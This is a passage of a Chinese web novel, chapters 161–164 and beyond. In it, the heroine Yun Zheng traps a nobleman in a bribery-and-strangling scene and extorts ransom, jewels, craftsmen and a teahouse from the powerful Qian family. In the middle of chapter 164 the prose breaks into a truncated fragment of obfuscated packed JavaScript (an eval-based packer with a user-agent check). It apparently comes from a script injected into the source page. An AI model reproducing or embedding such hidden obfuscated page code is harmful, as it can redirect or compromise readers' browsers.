鲶鱼分布在南方水系,北方就很少见。 云家有的是钱,这世上大部分珍稀的食材都吃过。 厉无恙意味深长的说道,“鲶鱼有着极强的生命力,渔夫将鲶鱼和小鱼放在一起,激活了小鱼的求生能力,从而使小鱼活了下来。” 他顿了顿,“而,内务府人员冗杂,官僚主义严重,耗费巨大,亏损的很厉害,皇上早就不满了,但手下没有一个能用的。” “有本事的不肯出头得罪人,没本事的只知道争权夺利。” 云筝听懂了,“我是那条鲶鱼?让我进去搅局?或者是整顿内务府?” 厉无恙微微颌首,“是,搅局者往往面临巨大的风险,各方势力都不会甘心失去手中的权力,会疯狂反扑,稍有不慎就粉身碎骨。” 这需要极大的魄力,和敢豁出一切的勇气。 云筝抿了抿嘴,那些官员不好容易才走到这一步,谁愿意豁出性命当一个搅局者? 但,对于她来说,是一个绝佳的机会。 “富贵险中求,想要权利,就得靠自己争取。” 她早就做好了心理准备,女子要比男人付出更多的努力,才有可能跟男人站在同一个位置。 厉无恙神色很复杂,“你本可以太平富贵的过完一生。” 有钱有地位,还有皇上的宠信,足以让她过的很好。 但,她挑了一条最艰难的路。 云筝重回一世,深深的知道,权力必须掌握在自己手里,才能保一世平安。 依附于人,不是长久之计。 “我更喜欢刺激的挑战,人活一世,总要做点有意义的事情。” 厉无恙忽然问道,“您知道内务府广储司的主官是谁吗?” 云筝已经看过钱家的资料,点了点头,“钱家二儿媳的父亲,两家联姻是皇上默许的?” 厉无恙惊叹她的敏锐,“对,这也是制衡,可惜玩砸了,双方明争暗斗,不务正业,搞的乌烟瘴气。” 本就能力不足,你拉我后腿,我给你使绊子,只知道斗了。 云筝哈哈一笑,皇上也有失算的时候。 “那皇上为何让我和钱家结干亲?” 厉无恙淡淡的说道,“试探。” 云筝:……狗皇帝,猜忌之心真重,连钱家也不放心。 “他就不怕弄巧成拙吗?” 厉无恙嘴角勾起一抹似嘲非嘲的弧度,“帝王心术远比你想像的可怕 ,任何人都能舍弃。” 云筝沉默了良久,“帝王是不是都这样?坐上皇位就无情无爱,只有猜忌和利益?” 厉无恙的目光看向天空,深远而又寂寥,“称孤道寡,绝情弃性,是帝王的宿命。” 云筝捏着茶杯,瞥了他一眼,声音有一丝紧绷,“我是不是太野心勃勃?” 厉无恙的视线落在她脸上,眼中全是欣赏之色,“不甘平庸,追求自己的梦想,认准目标勇往直前,这很好,我喜欢。” 在她身上,看到了虽千万人,吾往矣的孤勇,这一点闪闪发光,格外吸引人。 他喜欢?云筝嘴角轻轻上扬,心跳加速,“你……” 就在此时,谷雨匆匆跑进来,“主子,同福客栈传来消息,鱼儿上钩了。” 厉无恙深深的看了云筝一眼,“走,去看看。” 同福客栈,挤满了来喝茶的客人,但大家的心思都放在八卦上。 “掌柜,我想请那位孙公子出来喝一杯,你帮我喊他出来吧。” 他们都想看看孙守信的真容,到底是个什么样的人。 掌柜心中既喜又忧,喜的是这几日生意爆好,忧的是怕出意外。 “九千岁有令,任何人不许骚扰孙公子,若有人胆敢行刺,就是跟他过不去。” 食客们议论纷纷,“看来九千岁很不喜欢钱家。” “肯定啊,钱家跟锦云郡主过不去,九千岁能喜欢他们?” 角落的位置坐着一对男女,衣服华丽,头戴帷帽,遮去了大半容颜,只露出下巴。 男子恨恨的低语,“又是九千岁,哪哪都是他,可恶。” 女子蹙了蹙眉,“行了,办正事要紧。” 男子忽然扬声问道,“掌柜,茅房在哪里?” 掌柜正忙的团团转,闻言看了一眼,“小二,领客人过去。” 去茅房的路上,男子塞给小二一块银子,立马得到了想要的信息。 后院,由几幢小楼组成,专门留给有钱的豪客包场,隐秘性极好。 其中一幢小楼,青衣男子手持书卷,坐在廊前看书,神色极为专注。 男子上前几步,拱了拱手,“你可是孙公子?” 孙守信抬起头,露出一张俊秀的脸,“我是,你们是什么人?” 男子掀开帷帽,露出真容,主动介绍道,“我是平西侯二公子,江闻舟,她是我妻子,永安长公主之女。” 他脸上的疤痕用厚厚的粉抹上,掩饰的极为高明,几乎看不出来了。 叶宜蓁微微颌首致意,一副贵女的矜持作派。 孙守信嘴角轻轻上扬,九千岁算无遗漏,果然,鱼儿主动上钩了。 他站起来,风度翩翩的行礼,“两位有什么事吗?” 江闻舟打量了一眼,不得不承认,眼前的年轻男子长相和气质都不错,就是衣着太寒酸。 难怪姑父看不上这桩婚事,门不当户不对。 他懒的跟穷酸攀交情,开门见山,“江南总督是我姑父,我是特来跟你做个交易。” 孙守信愣了一下,“交易?我没听错吧?” 江闻舟不想节外生枝,直接了当的开口,“京城一套四合院,换婚书和信物。” “京城居,大不易,很多官员一辈子的俸禄都买不起一套房子,只能租房子住。而你,只要点头,就能在京城拥有一套四合院, 这是无数人梦寐以求的。” 他是自告奋勇帮姑父解决这桩麻烦事。 他已经知道那位小表妹要进宫了,心头火热,恨不得立马搭上这条线,只求将来夺回世子之位。 孙守信眼神一闪,来了,机会来了。 口说无凭,得有实质的证据。 “这……” 第161章 被抓了个正着,惨 孙守信满脸的怀疑,“这……你们不会是骗子吧?钱家人怎么不来?” 江闻舟拿出一块牌子,在孙守信面前晃了晃,“这是江南总督的令牌,钱家人不方便出面,由我全权处理。” 孙守信拿着令牌翻来覆去的查看,轻抚着令牌上的纹路,半信半疑问道,“这确定是江南总督的令牌?” 江闻舟无奈极了,这穷酸书生没见过世面啊。 他又拿出平西侯府的令牌,解释了半天,才让孙守信相信他们的身份。 之后,江闻舟掏出一张房契,“这是四合院的房契,地段很不错,能值不少钱。” 孙守信没有接,而是反问,“令表妹的终身幸福,只值一套四合院?” 江闻舟眉头紧皱,嫌少?这也太贪心了。 他冷声喝道,“别敬酒不吃吃罚酒,九千岁能保你一时,却保不了你一世,你不过是一个无权无势的穷书生。” 孙守信迟疑了半晌,忽然提出一个要求,“我要当官,最低七品官。” 江闻舟冷哼一声,“这不可能,朝廷不是钱家开的。” 孙守信的脸拉了下来,将令牌塞给他,“那没得谈了。” 扔下这句话,他扭头就走,干脆又利落。 江闻舟在姑父姑母面前许下海口,眼见任务即将完不成,不禁急了。 不行,得先稳住他。 “这样吧,先给你安排到江南当一个县丞,过个几年再升为县令。” 在江南地界,江南总督就是土皇帝,安排几个官员还是可以的。 只是,这人身份敏感,等过了风头就得灭口。 孙守信打量了他一眼,忽然问道,“你如今是几品官?” 江闻舟的脸色微变,他也想让姑父帮着活动一下,谋个一官半职,出去转一圈挣些功劳再回京。 但,被姑父拒绝了,说他已经在皇上的黑名单中,只能等皇上气消了再说。 “我……是侯门公子,不屑当官。” 孙守信一脸的不信,“那我怎么相信,你能兑现承诺?” 江闻舟不假思索的举起右手,“我敢对天发誓……” 不等他说完,孙守信就开口打断,“我不信誓言。” 江闻舟迟疑了一下,“这样吧,我给你写保证书,若是做不到,你可以拿去公开。” 孙守信就等他这句话,痛快的答应,“好。” 应孙守信的要求,江闻舟不光写了保证书,写上自己的名字,画了押,还用两块令牌盖了章。 孙守信接过保证书,认认真真的检查了两遍,这才慢悠悠的收好,放进怀里。 他慢条斯理的样子,把江闻舟急的不行,“行了,把婚书和信物拿来吧。” 孙守信举起右手,“我有一个疑问,你们怎么对外解释?” 为免夜长梦多,江闻舟只想尽快将事情处理好,“这就不用你操心了。” “你拿了房契连夜去江南,有人会接应你,越快越好。” 一边的叶宜蓁伤口隐隐作痛,坚持不了多久,不耐烦的催促,“婚书快拿出来。” 孙守信摸摸这,摸摸那,随后一脸的不好意思,“啊,不好了,婚书不见。” “轰隆隆”江闻舟炸毛了,勃然大怒,冲过去掐住孙守信的脖子,“你敢耍我?去死。” 孙守信胡乱挣扎,不小心打中了江闻舟的鼻梁,鲜血流了下来。 这彻底激怒了江闻舟,掐的更用力了,大声怒吼,“蓁蓁,快过来帮忙。” 叶宜蓁也很生气,上前帮着制住孙守信的双手,还踢了两脚。 眼见孙守信被掐的脸色通红,气喘不上来,快要丧命时,一道怒喝声猛的响起。 “江闻舟,叶宜蓁,你们在干什么?啊啊啊,你们在杀人!” 熟悉的声音入耳,两人不约而同的颤抖,是云筝!她还带着一群侍卫和掌柜。 大家都惊恐的看着他,仿佛看着杀人恶魔。 行凶现场被抓了个正着,江闻舟后背升起一丝寒意,不由自主的松开手。 孙守信得了自由,一边捂着脖子狂咳,一边奔向云筝。 江闻舟还想阻止,但云筝的侍卫出手了,将他们挡在外面。 叶宜蓁又气又急,“云筝,你怎么来了?” 云筝理都没理他,而是看着孙守信,露出温和的笑容,“你别怕,我是锦云郡主,没人敢在我眼皮底下杀人。” 孙守信立马大声嚷,“锦云郡主,我要举报他们,对我威逼利诱,还卖官鬻爵,许我官位,我宁死不从,就对我下毒手。” 江闻舟脑袋嗡嗡作响,“不,不是的,是他敲诈勒索,我只是吓唬他一下。” 孙守信从怀里拿出那封保证书,“我有证据。” 江闻舟脸色大变,扑过去抢保证书。 侍卫闪身飞过去,一把抢过来,递到云筝面前。 云筝打开看了两眼,嘴角轻轻上扬, 不错,把柄到手,一箭双雕,钱家也别想脱身。 “江闻舟,你触犯国法,证据确凿。” “叶宜蓁,你是帮凶,人证物证俱在。” 她大声下令,“来人,把这两人送去明镜司,大刑侍候。” 叶宜蓁已经对明镜司有阴影了,一听这话,吓的满头大汗。 “这不关我的事,我什么都没做,只是陪夫君过来喝茶的。” 可惜,孙守信站出来指证她,“她也是参与者之一,还以永安长公主之女的身份,强迫我低头。” 叶宜蓁又气又急,“你说谎。” “云筝,他冤枉我,我是无辜的。” 云筝淡淡的嘲讽道,“真正无辜的人,不会出现在这里。” “统统带走。” 叶宜蓁不想坐牢,抱着柱子不肯松手,“不不不,我不去。” 她忽然灵光一闪,“我……花钱免灾!” 殊不知,云筝就等着她这句话,但还装模作样的想了想,犹豫了一下,最后,还是妥协了。 “行,老规矩,二十万两银子,不还价。” 叶宜蓁闭了闭眼,这黑心的混账东西,当她家的钱是大风刮来的啊? 但,情势比人强,谁让她被拿住了把柄。 “行,就二十万两银子,我这就写信,让我娘过来赎我。” 云筝让人送上文房四宝,笑吟吟的说道,“识务者为俊杰,你越来越懂事了。” 她看向江闻舟,满眼精光,都是钱啊。 “江公子,你呢?” “我……”江闻舟脸色发白,他家真的是没钱了。 可,打死他也不想再回到明镜司大牢,那不是人待的地方! 怎么办? 叶宜蓁眼神一闪,她不能一个人倒霉! 第162章 好一个下马威(上) 叶宜蓁眼珠一转,娇声道,“闻舟哥哥,你是为了钱家办事,出了岔子,钱家于情于理都要负责。” 要倒霉就一起,顺便把钱家拉下水,站在云筝的对立面。 钱家可不是省油的灯,钱老夫人出身宫廷,在宫中有人。 钱维在江南扎根多年,有的是人脉。 仇家多了,云筝再厉害又如何,迟早要完蛋。 云筝不禁为她鼓掌,这小心思真多,就是不用在正道上。 “说的对极了。” “写信吧。” 江闻舟疯狂心动,“我传个口信。” 云筝不耐烦的将毛笔砸在他脸上,“让你写就写,废什么话?我来说,你来写。” 钱家,钱维和江淑蓉时不时的看向门口,神色焦灼。 躺在床上的钱老夫人看在眼里,却没有多问。 “我已经无事了,你们不用守在旁边,都去休息吧。” 她看着床边憔悴的孙女,神色复杂,“惠儿,你累了,也去休息。” “是。”钱惠乖巧极了。 众人纷纷退下,就在此时,下人进来禀道,“老夫人,锦云郡主奉皇上之命前来探病。” 钱老夫人一怔,“探病?请她进来。” 钱惠退出去的脚步顿了顿,看了老夫人一眼,但老夫人的心思都飞了。 等云筝进来时,屋中只有钱老夫人和钱维夫妻。 云筝落落大方的上前,“皇上让我过来瞧瞧钱老夫人,听说又晕了?” “老夫人,你年纪大了,该收心养性,好好养着,气性别那么大。” 她话里有话,带着刺,江淑蓉觉得刺耳,大声喝道,“你怎么说话的?给老夫人道歉。” 好一个下马威。 云筝神色淡淡的道,“掌嘴。” 李嬷嬷立马一巴掌挥出去。“啪。” 江淑蓉的脸瞬间红肿,气的浑身直哆嗦,殴打二品诰命夫人,她疯了吗? 钱大人见爱妻受辱,当场就发作了,“云筝,你放肆。” 云筝冷冷的反问,“钱大人,我是代表皇上而来,尊夫人这态度是对皇上不满?行,我这就去告诉皇上,他呀,白宠了钱家几十年,没有一个是感恩的。” “大恩如大仇啊。” 杀人诛心,钱家人都变了脸色。 云筝转身就走,钱老夫人躺不住了,赶紧坐起来,“且慢。” 本想来个下马威,拿捏住云筝,谁想到云筝更凶残,反手就是一掌,将他们的痴心妄想全都打碎了。 钱老夫人陪着笑脸,“锦云郡主误会了,江氏是庶女出身,没什么见识,还请见谅。” 江淑蓉不敢置信的瞪大眼睛,又羞又气。 云筝微微一笑,“好说。” 她拿出书信,递给钱维,“喏,这是江二公子的信。” 钱维浑身一震,什么情况?难道失败了?书信怎么会落到云筝手里? 他百思不得其解,快速打开书信,看着看着脸色渐变。“二十万两赎金?你这是敲诈!” 江淑蓉更心急,凑过去看了两眼,“什么?闻舟要掐死孙守信?不可能,一定是你陷害的。” 侄儿再蠢也不可能如此行事,一定有诈。 云筝气定神闲,“江二公子口口声声说,他是替你们钱家杀人灭口,还留下了关键证据。“ “就是不知道,皇上看到后会怎么想?你们一而再的惹事,皇上也会烦,圣心也不是一成不变的。” 钱维咬牙切齿,“什么证据?” “认罪书上有江南总督的令牌盖章,啊,他行凶时,很多人都看到了,都是人证。” 钱老夫人闭了闭眼睛,掩去眼中的复杂情绪,“取二十万两银票,给她。” 钱维急了,怎么能任由她予取予求?他家的钱也不是大风刮来的。“母亲。” 钱老夫人神色凝重,“但,希望锦云郡主信守承诺,到此为止。” 云筝深深的看着她,语气微凉,“这钱不是给我的。” “当然,也不是给九千岁的。” 众人皆愣住了,随后露出震惊之色。 江淑蓉惊骇莫名,“你是说,是皇……” 钱老夫人冰冷的目光扫过来,“闭嘴,不许胡说,维儿,去取钱。” 钱维取了一个匣子过来,递给云筝,云筝慢条斯理的数银票,确定无误后,交给李嬷嬷收好。 “告辞。” 今日第一个任务完成! 钱老夫人叫住她,“且慢,老身想跟郡主谈谈。” “你们都退下吧。” 云筝停下脚步,嘴角轻轻上扬,第二个任务即将开启。 等人一走,钱老夫人就直接了当的开口,“郡主,我孙女的婚书是假的,你也是女子,也曾经被一张婚书束缚吃尽苦头,还请郡主念在同为女子的份,施以援手。” 她企图勾起云筝的怜悯之心,帮钱家解决眼前的困境。 云筝震惊极了,人怎么会有这么厚的脸皮?“别人能说这话,但钱家人不行。” “我的悲剧是你们钱家一手促成的。” 她是死过一回的人,早就无所顾忌。 钱家早就进了她的黑名单,只等机会除掉。 钱老夫人理直气壮的说道,“可,你没有吃亏,反而平西侯府败落了,你还得到了九千岁和皇上的赏识。” 云筝气笑了,宫里出来的人就是不一样,黑白颠倒,脸不红心不跳。 “这么说,我还要谢谢钱家?” 钱老夫人面带笑容,“我只是想说,冤家宜解不宜结,与其斗的两败俱伤,不如握手言和。” 云筝眼珠一转,有了主意。 “那,先退回这些年的礼物,包括江南十五座田庄,三十八家铺面,三十二套首饰头面,四匣子红宝石,四匣子绿宝石,四匣子南海珍珠……” 她列了长长的清单,那是云家献给江南总督的礼物,说是献,不如说被逼上贡。 钱老夫人脸色越来越难看,退回这些,钱家就一贫如洗了。 但,时至今日,云筝贵为锦云郡主,她要夺回那些失去的尊严,也没有毛病。 她心思飞转,“可以,但,分批给,每年还一部分,最晚五年。” “今年还三十二套首饰头面和那些宝石。” 这是缓兵之计?云筝嘴角轻轻上扬,嗯,她也需要一个下台阶,以便进行下一步计划。 眼下完成皇上的任务,才是最重要的事。 不仅要办好,办的漂亮,她 还要从中占尽便宜,踩着钱家上位。 把钱家卖了,还得对她感激涕零。 “好。” 江淑蓉被叫进来,听完这话,感觉天都塌了。 “什么?哪有送出去的东西,还回来的?没有这样的规矩!” 第163章 好一个下马威(中) 这些头面首饰,她自留了二十八套,另外四套送给了婆婆,用来讨好婆婆。 每一样都是她的心爱之物,每天都要看上一遍,每一套首饰头面都巧夺天工,价值连城。 那些未经镶嵌的宝石都是难得一见的宝贝,颗颗是极品。 可现在,居然又要还回去?这让她怎么不发疯? 她还想挣扎一下,“要是传出去,两家都丢人。” 云筝摊了摊手,“我不介意啊。” 可,江淑蓉介意的发疯,可怜兮兮的看向钱维,向他求助。 钱维知道妻子对那些珠宝首饰的痴迷,是她的心头爱,但,母亲做出的决定,没人敢反驳。 钱老夫人怒喝道,“江氏,赶紧将东西整理出来,还给锦云郡主。” 在她的威逼下,江淑蓉含泪将东西交出来,堆在桌上,高高的一大摞,珠光宝气,耀眼夺目。 还有几套在江南,直接让人去取来。 云筝看着这些珠宝,脑海里闪过无数片段,江淑蓉年年威逼,父亲四处奔波,只为了搜罗让她满意的珍宝。 这是云家的屈辱,也是让她奋起反抗,将云家发展成大齐首富的动力之一。 离开江南,来到最广阔的京城发展。 可惜,在权势面前,一切都是浮云。 钱维在一边观察她,她的表情很平静,但,眼中全是熊熊烈焰,是野心! 这是一个平静的疯子! 钱老夫人写下一份协议,递到云筝面前,“您看还满意吗?” 内容很简单,就是刚才说的那些条件,就是五年后,不知道双方还活着吗? 钱老夫人客气又亲切,让人如沐春风,让人不由的心生好感。 云筝终于明白,钱老夫人为何能在错综复杂的宫廷混的风生水起,赢得皇上的尊重。 能屈能伸,会审时度势,能忍常人不能忍。 她将钱老夫人的危险等级往上提了提,但面上丝毫不露。 “我父亲这些天在内务府受了不少委屈,听说,是受了某人的指使。” 她话风一转,“咦,你们家二夫人的父亲是内务府官员?” 钱老夫人深深的看了她一眼,“我保证,以后令尊在内务府无人刁难,顺风顺水。” 云筝就等着她这句话,“钱老夫人能在内务府安置人手?” 钱老夫人呆了呆,无奈的轻笑,“老身哪有这个本事,老了,惹人烦了。” 云筝见时机成熟了,适时的抛出诱饵,“我是这么想的,孙守信孙公子既然将事情闹大了,全京城都知道的,就不能强压。” “堵不如疏,疏不如引,老夫人,您看呢?” 钱府被这事闹的鸡犬不宁,心烦意乱,进退两难,一听这话,钱维立马问道,“你有什么好办法?” 其实,他知道这事是九千岁安排的,但,不能挑破,也不能硬来,否则会遭来九千岁疯狂的报复。 钱家是顶不住的。 而,云筝是九千岁的人,只有她能当中间人,两边说和,破解眼下的困境。 云筝微微一笑,“孙公子当众表示,因个人原因取消婚约,愿跟钱大小姐结为异姓兄妹,而钱家大大方方将人推荐进内务府,唱一出将相和。” 钱维微微蹙眉,权衡了半晌,这个方案可行。 “什么个人原因?” 云筝没好气的白了一眼,“你们自己想,这又不是我的事,我辛辛苦苦帮你们解决难题,还指望我全程护航?” 钱老夫人总觉得事情没有那么简单,“我们钱家还需要付出什么代价?” 还是她最识务,云筝笑眯眯的说道,“我是在行善积德做好事,不过,你们这么诚意,就……” “我要一批金银铜匠人。” 钱维觉得不可思议,“就这?” 云筝还没有说完呢,“还要一批巧手的匠人,比如,那个会制跑马灯的叫……” 她之前参加过钱家的宴会,奢侈无度,别出心裁,布置的极为浪漫唯美。 那个跑马灯给她留下了深刻印象,让她有了一点想法。 钱维知道此人,“马亮。” 如今匠人分为三类,一类是宫廷御匠,这是最高级别的,专为皇室服务,手艺最好,有皇室养着。 一类是官营作坊匠人,是官府统一管理和调配,建筑营造,漆器,铁器等等,这些是匠籍。 一类是民间匠人,服务于达官贵人,制造家具,文房四宝等等,是一定的自由。 像马亮这些人都是江南官营作坊匠人,但在江南总督眼里,就是招之即来,挥之即去的家奴。 云筝看上了这些人,但匠籍世代承袭职业,是没有人身自由的,官府说了算,那,就直接索要呗。 “对,还有……” 她报了一批人的名字,如数家珍,让钱家母子暗暗心惊。 她对钱家的情况了如指掌,这让人很不安。 钱维忍不住问道,“你要这些人干吗?” 云筝很大方的给了回答,“当然是自己享受,和拍皇上马屁喽。” 钱家人:…… 从未见过如此不要脸的马屁精。 钱维明白了,这是要做些新奇的玩物进上,讨皇上欢心。 啧啧,上不了台面的商贾之女。 “行,都给你。” 《尚书》云:匠人作奇技淫巧以悦妇人,是玩物丧志的代表。 士农工商,工匠仅排在商人之前。 他身为手握大权的二品官员,看不起这些低贱的匠人。 有的是能工巧匠为他卖命,不稀罕。 云筝心中欢喜,这些人她有大用。 但,面上不露,又提了一个要求。 “啊,对了,我还要鸿运楼。” 江淑蓉茫然,鸿运楼是很有名,但,是钱家的吗? 钱老夫人眉头一皱,她连这个都知道! 钱维断然拒绝,“这不行,这是我们钱家的根基,你又不缺茶楼,没必要抢我们家吧。” 鸿运楼是京城最高档的茶楼,布置的奢侈精美,花样百出,达官贵人最爱去的地方之一。 但世人不知,那是钱家开的。 钱老夫人也不想给,这个茶楼太重要了,暗藏玄机。 云筝一脸的无所谓,“行吧,不给就不给。” “到时,我在皇上胡说八道,不要怪我哦。” 这是威胁,钱维又气又急,她怎么不讲道理?“我们钱家没做亏心事,有什么可怕的?” 云筝侧着脑袋,笑颜如花,但说出来的话字字诛心。 “若我说,鸿运楼招揽人心,收集京城情报,不知道皇上会信吗?” 钱家人闻声色变,看云筝的眼神充满了惊惧。 她是恶魔吗? 第164章 好一个下马威(下) 钱维气的满面通红,“锦云郡主,你不觉得自己太贪吗? 云筝淡淡的道,“商贾的本性就是贪,我总要为自己捞点好处吧。 她说的理直气壮,毫不羞愧。 “你们钱家也真是的,太小气,做事不够上道,想让堂堂郡主为你们白干活,哪来的脸呢? “人情世故这一块不行,是走不长远的。 钱维目瞪口呆,她居然还指责他们?无耻! “匠人给你了。 “那能值几个钱? 江淑蓉已经回过神,“不行,鸿运楼是我们钱家的产业,不能给别人。 这么重要的事情居然瞒着她,她是很生气,但,鸿运楼日进斗金啊。 钱老夫人深吸一口气,“够了,给她。 她发话了,钱维只能听命行事,心不甘情不愿的拿出鸿运楼的房契和地契。 心在滴血,手在抖。 鸿运楼对他来说,很重要。 云筝拿到房契地契,眉飞色舞,巧笑嫣然。“还是钱老夫**气,姜还是老的辣,都好好学学吧。 云筝狠狠扒下钱家一层皮,钱家伤筋动骨,还不能抱怨。 钱老夫人问道,“我家惠儿的事? 云筝拍着胸口保证,“放心,钱大小姐的事包在我身上。 “最迟明晚,宫中就会来接人。 钱老夫人深深的看了她一眼,她真的能左右皇上的决定? 如果是真的,那,必须跟她搞好关系。 “那就一切拜托了。 云筝笑眯眯的说道,“若是成了,钱家就欠我一个大人情哈。 钱维气的脸红脖子粗,好人坏人都让她做了,还讨要人情,可恶。 “来人,去把大小姐叫来,让她送锦云郡主出府。 “是。 钱惠匆匆而来,面带微笑,“郡主,请。 钱家人目送云筝离开,不约而同的松了一口气,总算把煞星送走了。 江淑蓉忍不住呸了一声,“狗仗人势,啊呸,她算什么东西。 钱维脸色不好看,“娘,就这么忍着? 钱老夫人神色淡淡 的,“暂时的输赢不重要,重要的是,谁笑到最后。” “若她真能完美解决此事,将惠儿送进宫中,我们捧着她又如何,忍一时之辱,才能走的更远。” 钱维恭敬的应了一声,“是。” 没关系,那些东西总有一日会回到他手里。 但,江淑蓉眼珠乱转,不知在想些什么。 钱惠似乎很喜欢云筝,一口一声郡主,叫的很甜。 “郡主,我很佩服你这样有本事的女子,会挣钱,还为自己挣了一个郡主的爵位,还给父母争得了荣耀,非常了不起。” 云筝微微一笑,“你足不出户,却对我的事情挺了解。” 钱惠的眼睛晶晶亮,“家中下人总要出门的,您做的那些事早就在下人间风传,我早就有所耳闻,神往已久。” 她天真又娇憨,唇红齿白,笑容甜美,让人心生好感。 云筝扬了扬眉,“听说钱大小姐一出生就被抱到老夫人跟前养着?没怎么见过亲娘?” 钱惠一怔,“是。” 云筝忽然问道,“如果你生父杀了生母,你会选择为生母发声吗?” 发声,不是报复。 钱惠的笑脸僵住了,“我们钱家深受皇恩,懂得礼义廉耻,我父亲是断然不会做出禽兽不如的事。” 她用皇家来给父亲担保人品。 云筝不禁笑了,她就说嘛,钱家怎么可能养出天真的小姑娘?宫斗中,天真的人死的最早。 “你祖母秘密培养了你十几年,就是将你送去侍候皇上,你甘心吗?” 钱惠板起脸,轻声喝道,“锦云郡主,您怎么敢恶意揣测我们钱家?” 一口一声钱家,显然是把钱家当成她的使命。 云筝不动声色的试探,“我是奉皇上之命,来见见你,就问你一句,你愿意进宫吗?” “如果不愿意,我会帮你拒绝,不会得罪宫中。” 钱惠脸色微变,“我听从长辈的安排。” 云筝轻笑一声,“哦哦,我懂了,我会尽快安排你跟那位孙公子成亲,完成你母亲的遗愿。” 钱惠不禁急了,“敢问锦云郡主,您是以什么身份插手我的婚事?” 云筝无声叹息,但面上不露,“皇上特使的身份 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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同福客栈,依旧是人满为患,热闹的不得了。 钱家的事还没有过去,大家都在讨论,就看此事怎么收场。 甚至有人开了档口,赌钱家会不会将女儿嫁给孙守信。 不嫁的比例,是一比十,大家都不看好啊。 这么一来,来客栈下注的人就更多了,连楼上的包厢都被订满,公子哥们都来凑热闹。 正聊的热火朝天时,一个素衣男子出现在大堂,吸引了无数人的注意。 “孙公子出来了。” 喧哗的大堂猛的静了下来,齐刷刷的看向孙守信,他身着洗的发白的衣服,神色坦坦荡荡。 “掌柜,我要一份膳食。” 掌柜对他可热情了,这可是财神爷,自从他住进来后,生意爆涨。 所以,免了他的一日三餐和房费。 “孙公子,你先坐下来……” 看着座无虚席的大堂,掌柜一时卡壳了,“要不,您回房间,我让人送过来。” 楼上包厢的窗打开,一个年轻男人出现在窗边,“孙公子,我是次辅之子,施东阳,请你喝一杯水酒,还请赏光。” 孙守信犹豫了一下,施东阳一再热情的相邀,孙守信不好拒绝,“多谢,那就叨唠了。” 孙守信上了包厢,包厢里坐着十几个贵公子,衣着光鲜亮丽。 他稍微有些拘束,大家连忙招呼他们坐下。 “孙公子,你跟钱家大小姐的婚事有什么进展?需要帮忙吗?” 有人买了他赢,急的不行。 孙守信就坐在窗边的位置,轻轻叹了一口气,面有懊悔之色,“之前我一时冲动,不该在大庭广众之下提婚事,将钱家大小姐也卷了进来,她是最无辜的。” 施东阳哈哈一笑,“这有什么?你只要将她娶进门,好好待她,就算全了你们母亲的情谊。” “对啊,有婚书和信物在手,钱家要是敢毁约,大家会骂死他们的。” “就是,嫌贫爱富,一女二嫁可不好听,毁了约,谁还敢娶她?反正,我们这些人是不敢的。” 钱家算是新兴的权贵,家里一位一品诰命夫人,一位二品大员,封疆大吏,天子心腹。 老牌勋贵有些瞧不上钱家,但,文官们趋之 若鹜,一心想跟钱家攀上关系。 哪怕钱家从不参加社交活动,邀请钱家的请柬依旧堆成小山。 孙守信眉头紧锁,轻轻叹气,“哎,有些事情……不好说。” 施东阳最爱凑热闹,态度可积极了,“说说呗,有什么难事说说,我们都会帮你。” 户部侍郎的公子,唐征连忙附和,“对对。” 孙守信欲言又止,顾虑重重,“这……” 就在此时,下面有人嚷嚷,“锦云郡主她来了。” 楼上楼下一片兵荒马乱,施东阳带着一群小伙伴飞身跑下去迎接。 “郡主,您怎么来了?” “先进包厢坐吧,这里人太多,太吵闹。” 这些贵公子在外人面前嚣张跋扈,但在云筝面前乖的不得了,还争着讨好。 云筝挑了挑眉,上次的比赛很成功,她的收获也满满。 “行。” 大家都很热情,努力挤到云筝面前献殷勤,“郡主,坐这里,这个位置最好。” “我这里也有空位,坐这里。” 唐征抢先将一堆食物送到云筝面前,“郡主,这家客栈的茶点很一般,不过,糟货不错,您尝尝。” 孙守信像一个不相关的外人,站在一边看着这些家世显赫的公子哥围着云筝打转,嘴角轻轻上扬。 锦云郡主啊,非池中之物。 云筝随意捡起一个糟鸭翅,啃了一口,“味道不错。” 唐征得意极了,“哈哈,您喜欢就好。” 云筝挑了挑眉,“我有一桩生意,你有没有兴……” 不等她说完,包厢内的气氛就变了,所有人的眼睛都亮了。 唐征更是激动的直点头,“有有有,太有了,郡主,我愿意为您赴汤蹈火,死而后已。” 他大表忠心,高兴的手舞足蹈,他要发财了! 施东阳不乐意了,“郡主,您偏心,为什么是他?我哪里比他差了?看看我啊。” 其他人也七嘴八舌的大叫,“郡主,您为什么挑他?他能做的,我都能做,他不能做的,我也能做。” 抱上财神爷的大腿,这辈子就不用愁了。 唐征气**,一个个拉踩他,还是不是好兄弟了? “喂,你们别太过分了。” 施东阳才不管他呢,身体一挤,将他挤到一边,“姐,我的亲姐,我啥都听您的,只求您带上我。” 其他人也帮着将唐征挤到后面,气的唐征直跳脚,“混蛋,你们不讲武德。” 云筝含笑看着他们闹腾,都是新鲜血液,都是帮手啊。 就在此时,孙守信走了过来,行了一礼,“见过锦云郡主。” 云筝抬起视线,两人的视线在空中交汇,交换了一个眼神。 计划开始了。 “你是?” 年轻男子挤开人群走上前,“我姓孙,名守信。” 云筝恍然大悟,“原来是你啊。” “您知道我?” 云筝微微一笑,“我不算孤陋寡闻。” 孙守信迟疑了一下,忽然说道,“听闻锦云郡主冰雪聪明,我有一难事始终无法想明白,还请郡主帮帮我。” 云筝拿起一个果子把玩,来吧,好戏开场了,所有人都是观众。 “说。” 孙守信神色凝重,“门不当户不对的婚姻,会幸福吗?” 全场静的出奇,竖起耳朵倾听。 云筝漫不经心的回答,“一半的机率。” 孙守信的眉头微蹙,“不被父母家人祝福的婚姻,会幸福吗?” “不会。”这一次,云筝说的斩钉截铁。 孙守信沉默了半晌,“出身贫寒,没有信心让一个娇小姐过上衣食无忧的好日子,该怎么办?” 云筝眼睛都没有眨一下,“靠嫁妆呗。” 孙守信苦笑一声,“没有嫁妆,男子只是一个落魄读书人,没有谋生的能力。” 云筝淡淡的道,“那就难办了,我建议双方坐下来好好聊一聊。” 孙守信对着她行了一个大礼,“能请郡主帮着穿针引线吗?” 唐征不乐意了,“喂,明知我姐是郡主,还让她替你跑腿,这就过份了,你配吗?” 